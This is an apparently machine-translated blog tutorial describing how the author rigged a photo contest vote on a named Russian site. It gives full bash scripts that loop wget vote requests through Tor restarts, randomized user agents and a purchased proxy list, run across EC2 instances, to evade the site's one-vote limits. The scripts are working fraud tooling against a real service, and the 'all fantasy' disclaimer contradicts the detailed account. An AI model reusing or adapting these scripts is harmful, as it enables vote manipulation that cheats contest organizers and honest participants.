Theory and practice of voice wrapping

  • Tutorial
Disclaimer: this text does not claim to be objective, nor truthful, nor correct. All of the following was done just for fun and not for the sake of any prizes or rewards. The scripts and the logic of their work are obviously at the level of by-code, I understand this and acknowledge it. Comments are greatly appreciated.

Two ago, I came across the contest "Canon: All the colors of the world." And he immediately drew attention to a simple voting system - there was no need to register or enter captcha, just click on the “Vote for this work” button.
Actually, uploading a couple of photos, I began to experiment.
1) You can vote once from one computer. After a while, you can vote from another browser.
2) When connected through a proxy or VPN, or through 3g, you could vote again.

Ok, put Tor + Vidalia (also on a Windows computer). Tor launches - you can vote. We restart - it is impossible. We kill cookies, we change a user agent - again it is possible. Good.
Open the page source, look for a place with a vote button: Absolutely simple. When the button is pressed, the request konkurs.photonews.ru/work/vote?photo_id=1522 is executed. You can execute it using at least wget: Now you need to solve the issue of automatically changing the IP address. There is nothing to think about, emerge tor. But here's the catch - wget does not work with socs5 proxy. Half-hour searches brought to the proxychains program. The result looked like this:








wget -O /dev/null --referer="http://konkurs.photonews.ru/work/show/1522" ttp://konkurs.photonews.ru/work/vote?photo_id=1522





LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"

while true
do
sudo /etc/init.d/tor restart
USERA1='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts-MyWay; SV1)'
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done


The counter is ticking, voices are added. Apparently, this became noticeable not only to me, but also to the contest administrator.
Authorization by useragent was screwed on - this became noticeable by a sharp decrease in the wrapping rate - to a voice per hour.
I took this as a challenge, and went to www.useragentstring.com/pages/useragentstring.php from where in 10 minutes I dialed a file consisting of 500kb of different identifiers.

After the modification, the script began to look like this (Caution, quick code and strange solutions to simple problems!): This method allowed me to gain another 100 votes to 50, received earlier.

RANGE=4000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
sudo /etc/init.d/tor restart
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
proxychains wget -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done



Due to the low speed of operation (time for restarting the torus), it was decided to run 5 instance on amazon ec2, which, after 58 hours of machine time, gained 150 more votes, and died out on this. Tolley exhausted unique output nodes, Tolley administrator banned tor nodes, I don’t know.

Good. On freeproxy.ru, a list of 1000 http proxies was purchased for 60 rubles. And the code (once again) underwent changes: The resulting plug with the death of some proxies was cured by adding "&" to the end of the line with wget, and introducing a delay. Well, killing a bunch of hanging processes vget-a half an hour later. =) 1300 passes brought another 500 votes in a couple of minutes, after which I turned off the script and lurked. In the morning, after several test launches, it became clear that the hole was closed. I don’t know. Honestly, I'm tired of it.

RANGE=5000
LINK="http://konkurs.photonews.ru/work/vote?photo_id=1522"
REFERER1="http://konkurs.photonews.ru/work/vote?photo_id=1522"
c1=1
cat useragents|awk '{print rand()"\t"$0}'|sort|awk -F'\t' '{print $2}' >useragents2 ; mv useragents2 useragents

while true
do
c1=$(($c1+1))
echo $c1
proxy_c1=`head -n $c1 proxy |tail -n1`
USERA1=`number=$RANDOM ; let "number %= $RANGE"; head -n $number useragents |tail -n1`
wget -e http_proxy=$proxy_c1 -nv -O /dev/null --referer="$REFERER1" --user-agent="$USERA1" $LINK
done






PS: Voting in such contests is always a twofold thing. We either defend ourselves against markups and get a sluggish (or nonexistent) vote, or we open the doors and get an active boiling of shit voices. But alas, not always honest.
And, if you're lucky - the need to cancel the results or delete the work due to the explicit wrapping, visible even to ordinary users.
PPS: All of the above is a figment of fantasy. Random links.
PPPS: If you tell me a more suitable blog, I will be glad.

Also popular now: